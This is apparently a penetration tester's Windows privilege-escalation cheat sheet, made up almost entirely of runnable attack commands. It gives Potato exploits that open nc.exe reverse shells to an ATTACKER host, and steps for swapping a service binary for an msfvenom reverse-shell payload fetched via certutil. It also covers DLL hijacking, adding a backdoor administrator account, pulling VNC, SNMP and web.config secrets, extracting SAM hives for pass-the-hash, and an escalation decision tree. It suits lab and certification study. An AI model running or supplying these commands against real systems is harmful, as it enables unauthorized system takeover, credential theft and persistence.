# or new RDP session, or runas

:: SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd"

:: RoguePotato (needs socat on Kali: socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999)
RoguePotato.exe -r KALI_IP -e "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe" -l 9999

PrintSpoofer fails → Print Spooler disabled. Check: sc query spooler
JuicyPotato fails → Wrong CLSID or OS. Try different CLSIDs.
All fail → SeImpersonatePrivilege might show "Disabled". Find another vector.

:: Check for writable directories in PATH
echo %PATH%
icacls "C:\some\path\in\PATH"
:: If writable: place your malicious DLL with the exact name the app expects
copy evil.dll "C:\writable\path\missing.dll"

# PS: check each PATH directory
$env:PATH -split ';' | ForEach-Object { icacls $_ 2>$null }

Apache Server ["C:\xampp\apache\bin\httpd.exe" -k runservice] - Autoload
File Permissions: Authenticated Users [Allow: WriteData/CreateFiles]

# Step 1: Find the exact service name
Get-Service | Where-Object {$_.DisplayName -like '*apache*'}
# Or: sc.exe query type= service state= all | findstr /i "apache"

# Step 2: Check WHO the service runs as
sc.exe qc Apache2.4
# Look for SERVICE_START_NAME: LocalSystem = SYSTEM = jackpot
# Also check START_TYPE: AUTO_START means it restarts on reboot too

# Step 3: Backup the original binary
move "C:\xampp\apache\bin\httpd.exe" "C:\xampp\apache\bin\httpd.exe.bak"

# Step 4: Generate your payload ON KALI (must be an exe that connects back)
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI_IP LPORT=443 -f exe -o httpd.exe
# Or use adduser.exe if reverse shell fails:
# x86_64-w64-mingw32-gcc adduser.c -o httpd.exe

# Step 5: Upload payload with the SAME NAME as the original binary
upload httpd.exe C:\xampp\apache\bin\httpd.exe
# Or: certutil -urlcache -f http://KALI/httpd.exe C:\xampp\apache\bin\httpd.exe

# Step 6: Start listener on Kali
# rlwrap nc -lvnp 443

# Step 7: Restart the service
sc.exe stop Apache2.4
sc.exe start Apache2.4
# If "Access Denied" on stop/start → wait for reboot (if AUTO_START)
# Or: shutdown /r /t 0 (if you have SeShutdownPrivilege)

# Check if service auto-restarts on failure
sc.exe qfailure auditTracker
# If RESTART is listed as a failure action → the service will restart itself
# Your msfvenom binary will crash (it's not a real service) → triggers auto-restart → shell
# Just wait 1-2 minutes after uploading your payload

# Alternative: check if the service is currently running
sc.exe query auditTracker
# If STOPPED → you might be able to start it even without admin
sc.exe start auditTracker

# Broad registry search — works without admin, finds services + tasks + autorun
reg query HKLM /s /f "binaryname" 2>$null
# If it appears under HKLM\SYSTEM\CurrentControlSet\Services\ → it's a service
# Then use sc.exe qc SERVICENAME to check who runs it

:: Get full config of a service
sc qc <servicename>
:: Shows: BINARY_PATH_NAME, SERVICE_START_NAME (who it runs as), START_TYPE
:: If BINARY_PATH_NAME is writable and SERVICE_START_NAME is LocalSystem → game over

:: VNC passwords (encrypted but crackable)
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKCU\Software\TightVNC\Server" 2>nul

:: SNMP community strings
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" 2>nul

:: IIS .NET Framework config (another web.config location)
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul

# PS equivalents:
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>$null
reg query "HKCU\Software\TightVNC\Server" 2>$null
Get-Content C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config -EA SilentlyContinue

:: Beyond WinPEAS and PowerUp:
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
.\Jaws-enum.ps1

net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add
net localgroup "Remote Management Users" hacker /add

:: pth-winexe (from Kali, using pass-the-hash to get a shell)

C:\Users\<user>\Desktop\          ← flags, notes, shortcuts
C:\Users\<user>\Documents\        ← interesting files
C:\Users\<user>\Downloads\        ← downloaded tools/creds
C:\Users\<user>\AppData\          ← HIDDEN! Use -Force or full path
C:\xampp\                         ← web configs, passwords.txt
C:\inetpub\wwwroot\              ← IIS web root, web.config
C:\Windows\repair\               ← SAM backups
C:\Windows\System32\config\      ← SAM, SYSTEM, SECURITY
C:\windows.old\                  ← OLD OS files (creds from previous install!)
C:\ProgramData\                  ← app data, startup items
C:\Program Files\                ← installed software (searchsploit versions)

whoami /priv shows SeImpersonatePrivilege →
└── Potato attack (PrintSpoofer → GodPotato → JuicyPotatoNG)

Found a writable service binary →
└── Replace with reverse shell → restart service

Found unquoted service path with writable dir →
└── Place payload in writable directory → restart service

Found saved credentials (cmdkey /list) →
└── runas /savecred /user:admin C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe

Found readable SAM/SYSTEM →
└── Extract → secretsdump → pass the hash

Found auto-login in registry →
└── Use those creds on RDP, WinRM, SMB

Found cleartext password in config/history/AppData →
└── Try on all services, try on all machines (reuse!)

Found writable scheduled task →
└── Inject payload → wait for execution

Found AlwaysInstallElevated = 1 →
└── msfvenom MSI payload → msiexec

Medium integrity + local admin →
└── UAC bypass (fodhelper)

Nothing obvious from manual checks →
└── Run WinPEAS → focus on red/yellow highlights
└── Run Hidden AppData search → check for saved creds
└── Check running processes for custom apps → searchsploit